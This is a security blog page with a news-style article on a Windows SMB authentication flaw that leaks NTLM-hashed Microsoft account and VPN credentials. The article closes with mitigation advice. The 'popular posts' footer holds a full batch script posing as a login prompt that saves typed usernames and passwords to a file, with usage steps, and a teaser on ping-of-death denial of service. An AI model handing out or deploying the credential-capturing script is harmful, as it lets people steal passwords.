Skip to main content

Windows flaw


Microsoft Account Passwords, VPN Credentials Leaked Due To Windows Flaw

 
All Windows versions have a flaw that leak Microsoft account passwords and VPN credentials

If a Microsoft user is using a VPN (virtual private network) to browse the Internet, there are chances that the user’s Microsoft account username and password or VPN credentials could be leaked. The reason behind this is assumed to be the error by Windows in handling its old validation procedures for shared network resources.

The exploit depends on an attacker inserting a link to an SMB resource (network share) inside an email or a Web page that gets noticed via Outlook.

Inside the image tags, the attacker can camouflage the link to his network share. Further, they can put the link to a network share hosted on his own network instead of the proper image link.

When a user tries to use the link via Internet Explorer, Edge, or Outlook, their computer even via the Internet will automatically send their login credentials to validate on the criminal’s domain. The reason is due to the way Windows manages authentication for network shares.

Even though Microsoft account password is not leaked in cleartext, researchers demonstrated a long time ago that as an NTLM hash, these could be easily cracked.

This isn’t even something new, since Microsoft and the researcher community have known about this issue since 1997 and often discussed it at security conferences such as black hat.

This was not an issue in the past, as Windows accounts were using machine-localized usernames and password. However, Microsoft started to allow users to validate on their computers with Microsoft accounts after it introduced Windows 8 and upwards. By the time, Windows 10 was out; this became the de-facto standard validation method implying that it was used by more users.

Microsoft has begun to associate all its online realities with the user’s same Microsoft account in the recent years. This old attack now allows a crook to access credentials for Microsoft accounts, which in turn will also grant them indirect entry to all kinds of services like Skype, OneDrive, Xbox, Bing, MSN, Office 360, Azure, and more, says ValdikSS from Prosto VPN.

To make things worse, the user’s VPN credentials get leaked if the user is making use of a VPN connection to load the fraudulent SMB resource. This allows the crook to access the victim’s VPN account.

“Microsoft successfully fixed some issues, some other issues were half-fixed, and another ones are not fixed at all and could be exploited up to this day,” ValdikSS explains. “The problem of transmitting account credentials to the SMB server over the internet is one of the not fixed ones.”

One can simply protect themselves against such attacks is by obstructing all outgoing SMB connections (port 445) via the Windows firewall, except for local networks, ValdikSS says. However, the best solution against such attack would be to not use your Microsoft account to log into your Windows PC.

Comments

Post a Comment

Popular posts from this blog

Create a key logger using cmd

Here is a basic  keylogger  script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only. @echo off color a title Login cls echo Please Enter Email Adress And Password echo. echo. cd "C:Logs" set /p user=Username: set /p pass=Password: echo Username="%user%" Password="%pass%" >> Log.txt start >>Program Here<< exit Step 1:  Now paste the above code into Notepad and save it as a  Logger.bat  file. Step 2:  Make a new folder on the desktop and name it Logs ( If the folder is not called Logs, then it will not work.) Step 3:  Drag that folder in to the  C: Step 4:  Test out the  Logger.bat ! Related  All-in-one Messenger - FacebookMessenger, WhatsApp, Skype and many more in one window Step 5:  Alright, now once you test it, you will go back into the Logs folder in the  C: and a  .txt  file w...
Post a Comment
Read more

What is DNS

D NS stands for Domain Name System is used to as the medium to translate domain names to their respective IP addresses when a client initiates a request query. DNS stores the database of all the domain names and their IP addresses which are registered on the network. Most of us are quite familiar with the term DNS or Domain Name System. DNS can be thought of as an attendance register for various websites present over the internet. In the case of DNS, it maintains the database of all the websites Domain Names and their IP (Internet Protocol) addresses that are operational all over the world. Historical Notes The origins of DNS date back to the time of the ARPANET  when there were only a few computers to get an entry in the database. A HOSTS.TXT file was maintained by Stanford Research Institute, which constituted the data of all the machines, and was copied by all the host machines to remain updated. Jon Postel from the Information Sciences Institute requested Pau...
Post a Comment
Read more

Perform cmd death attack

 A ping packet can also be malformed to perform denial of service attack by sending continuous ping packets to the target IP address. A continuous ping will cause buffer overflow at the target system and will cause the target system to crash.  We often use the CMD command “Ping” to mostly check if a server or a gateway is up and running. But, ping command can also be used for some other purposes. If we look at the basic level, then a ping packet is generally of size 56 bytes or 84 bytes (including IP header as well). However, a ping packet can also be made as large as up to 65536 bytes. Well, that’s the negative side of the ping packet. When we increase the size of the ping packet unnaturally, forming a malformed ping packet to attack a computer system, this type of attack is called “Ping of death” attack. How Ping of Death attack works? Not all computers can handle data larger than a fixed size. So, when a ping of death packet is sent f...
Post a Comment
Read more